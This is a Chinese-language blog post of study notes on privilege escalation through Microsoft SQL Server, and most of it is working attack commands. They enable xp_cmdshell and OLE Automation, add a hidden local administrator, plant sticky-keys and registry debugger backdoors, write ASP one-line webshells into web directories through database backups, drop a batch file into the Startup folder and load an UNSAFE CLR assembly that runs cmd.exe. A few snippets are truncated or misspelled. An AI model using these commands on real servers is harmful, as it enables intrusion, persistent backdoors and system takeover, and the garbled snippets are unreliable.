Day5——提權學習之MSSQL數據庫提權學習總結

0x00 SQLServer提權基礎

1、SQLServer權限
列出sql server 角色用戶的權限
按照從最低級別角色(bulkadmin)到最高級別角色(sysadmin)的順序進行描述:

1.bulkadmin:這個角色可以運行BULK INSERT語句.該語句允許從文本文件中將數據導入到SQL Server2008數據庫中,爲需要執行大容量插入到數據庫的域帳號而設計.
2.dbcreator:這個角色可以創建,更改,刪除和還原任何數據庫.不僅適合助理DBA角色,也可能適合開發人員角色.
3.diskadmin:這個角色用於管理磁盤文件,比如鏡像數據庫和添加備份設備.適合助理DBA
4.processadmin:SQL Server 2008可以同時多進程處理.這個角色可以結束進程(在SQL Server 2008中稱爲"刪除")
5.public:有兩大特點:第一,初始狀態時沒有權限;第二,所有數據庫用戶都是它的成員
6.securityadmin:這個角色將管理登錄名及其屬性.可以授權,拒絕和撤銷服務器級/數據庫級權限.可以重置登錄名和密碼
7.serveradmin:這個角色可以更改服務器範圍的配置選項和關閉服務器
8.setupadmin:爲需要管理聯接服務器和控制啓動的存儲過程的用戶而設計.
9.sysadmin:這個角色有權在SQL Server 2008 中執行任何操作.

2、常見SQL Server提權命令
(1)查看數據庫版本

select @@version

(2)查看數據庫版本

select @@version

(3)查看數據庫系統參數

exec master..xp_msver;

(4)查看用戶所屬角色信息

sp_helpsrvrolemember

(5)查看當前數據庫

select db_name();

(6)顯示機器上的驅動器

xp_availablemedia

(7)查看當前賬戶權限

select IS_SRVROLEMEMBER('sysadmin') #判斷是否爲sa權限
select IS_MEMBER('db_owner') #判斷是否爲dba權限

(8)開啓xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

(9)關閉xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

(10)禁用advanced options

EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;

(11)sp_OACreate執行命令

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

(12)sp_OACreate移動文件

declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';

(13)sp_OACreate複製文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

(14)sp_OACreate刪除文件

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程序\啓動\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token

0x01 SQLServer提權方法

在這裏插入圖片描述
根據當前擁有的權限分爲如下兩種情況來進行SQL Server的提權。

一、在SA權限下

1、存在xp_cmdshell時
使用xp_cmdshell執行命令添加用戶,當出現錯誤可以恢復和開啓xp_cmdshell
(1)測試xp_cmdshell是否可以執行

exec master..xp_cmdshell 'ver'

獲取操作系統版本
(2)添加管理員用戶
添加用戶

exec master.dbo.xp_cmdshell 'net user quan 123456 /add'

添加至管理員組

exec master.dbo.xp_cmdshell 'net localgroup administrators quan /add'

2、使用sp_OACreate執行命令
當xp_cmdshell無法使用時,可以使用sp_OACreate執行命令
1)開啓sp_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;

2)使用wscript.shell直接添加系統帳戶
查詢分離器連接後,xp或2003server系統下使用:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'

其他操作如下:
(1)sp_OACreate替換粘貼鍵

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

需要同時具備sp_oacreate 和sp_oamethod 兩個功能組件。
成功後3389登陸按五次shift鍵。成功進入服務器。一直向上點”我的電腦“右鍵“管理” 用戶管理直接加用戶。

(2)Shell.Application執行命令
declare @o int
exec sp_oacreate ‘Shell.Application’, @o out
exec sp_oamethod @o, ‘ShellExecute’,null, ‘cmd.exe’,‘cmd /c net user >c:\test.txt’,‘c:\windows\system32’,’’,‘1’;
or
exec sp_oamethod @o, ‘ShellExecute’,null, ‘user.vbs’,’’,‘c:’,’’,‘1’;

(3)使用wscript.shell執行命令

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

public提權操作

 USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.webshell.cc
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

3、沙盒提權
沙盒模式是數據庫的一種安全功能.在沙盒模式下,只對控件和字段屬性中的安全且不含惡意代碼的表達式求值.如果表達式不使用可能以某種方式損壞數據的函數或屬性,則可認爲它是安全的。

使用場景:無法執行命令時,xp_regwrite可用(使用條件)

(1)首先檢查xp_cmdshell是否開啓

select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'

(2)開啓沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

SandBoxMode參數含義(默認是2)
0:在任何所有者中禁止啓用安全模式
1 :爲僅在允許範圍內
2 :必須在access模式下
3:完全開啓

(3)利用jet.oledb執行系統命令添加用戶

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")')

(4)將quan用戶添加至管理員組

select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")')

openrowset是可以通過OLE DB訪問SQL Server數據庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。

4、註冊表劫持粘貼鍵
當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe),使用xp_regwrite修改註冊表

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

二、DBA權限下

在這裏插入圖片描述
DBA權限下通過備份文件提權步驟如下

1、通過備份到網站目錄getshell
兩種備份方式如下
(1)差異備份

backup database 庫名 to disk = 'c:\quan.bak';//完整備份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//創建表cmd並插入一句話木馬
backup database 庫名 to disk='目標位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//進行差異備份

(2)LOG備份
LOG備份需要先把指定的數據庫激活爲還原模式,所以需要執行alter database XXX set RECOVERY FUL,而差異備份不需要,所以只有這條語句的就是LOG備份

alter database 數據庫名稱 set RECOVERY FULL;
create table cmd (a image);
backup log 數據庫名稱 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');

;backup log 數據庫名稱 to disk = ‘E:\wwwroot\asp_sqli\hack2.asp’ –
2、通過備份 文件到啓動項提權

(1)先測試xp_cmdshell是否可用

exec master..xp_cmdshell 'ver'

提示權限拒絕,說明是db_owner權限.

(2)利用xp_dirtree列目錄

exec master..xp_dirtree 'c:\',1,1

(3)查看啓動項

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啓動',1,1

(4)列數據庫

SELECT DB_NAME()

(5)利用url或者sql查詢器log備份bat或一句話

alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啓動\start.bat'--
drop table cmd--

(6)再去查看一下啓動項就有一個bat了

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「開始」菜單\程序\啓動',1,1

三、利用SQL Server CLR提權

Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework
的公共語言運行時 (CLR) 組件集成的功能CLR 爲託管代碼提供服務,例如跨語言集成、代碼訪問安全性、對象生存期管理以及調試和分析支持。
對於 SQL Server 用戶和應用程序開發人員來說CLR 集成意味着您現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、用戶定義類型、用戶定義函數(標量函數和表值函數)以及用戶定義的聚合函數。
要通過此種方式來執行命令,也有幾個前提:

1、在SQL Server上能啓用CLR並可以創建自定義存儲過程
2、SQL Server當前賬號具有執行命令/代碼所需要的權限

創建CLR有兩種方式
第一種就是通過DLL創建

CREATE ASSEMBLY AssemblyName from ‘DLLPath’

第二種就是通過文件十六進制流

CREATE ASSEMBLY AssemblyName from 文件十六進制流

1、安裝Visual Studio和SQL Server數據庫,此次測試使用了VS2017跟SQL2012。
2、創建一個新的SQL Server數據庫項目
3、設置項目屬性,目標平臺修改爲需要的目標平臺,如SQL Server 2012;
將SQLCLR權限級別修改爲UNSAFE;修改.Net 框架版本爲自己需要的版本;語言選擇C#
4、右鍵項目,選擇添加->新建項,新建SQL CLR C# 存儲過程
5、填入以下測試代碼:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void SqlStoredProcedure1 ()
    {
        // 在此處放置代碼
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
        process.Start();
    }
}

6、填入代碼以後進行編譯,之後到編譯目錄下可以看到一個dacpac後綴的文件
7、雙擊此文件進行解壓,將解壓出一個名爲mode.sql的文件。
8、執行SQL文件中的以下語句

CREATE ASSEMBLY [ExecCode]
    AUTHORIZATION [dbo]
    FROM 0x4D5A[...snip...]
    WITH PERMISSION_SET = UNSAFE;

之後執行:

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

9、開啓數據庫服務器配置選項clr enabled

EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE

–開啓clr enabled 選項

EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE 

–關閉所有服務器配置選項

EXEC sp_configure N'show advanced options', N'0' 
RECONFIGURE WITH OVERRIDE
​

–如果存在權限問題,執行下面一段腳本

alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'

10、執行命令:

EXEC [dbo].[SqlStoredProcedure1];

11、刪除存儲過程

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

0x02 參考文章

《網絡攻防實戰研究——漏洞利用與提權》
https://www.cnblogs.com/wh4am1/p/11669539.html
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章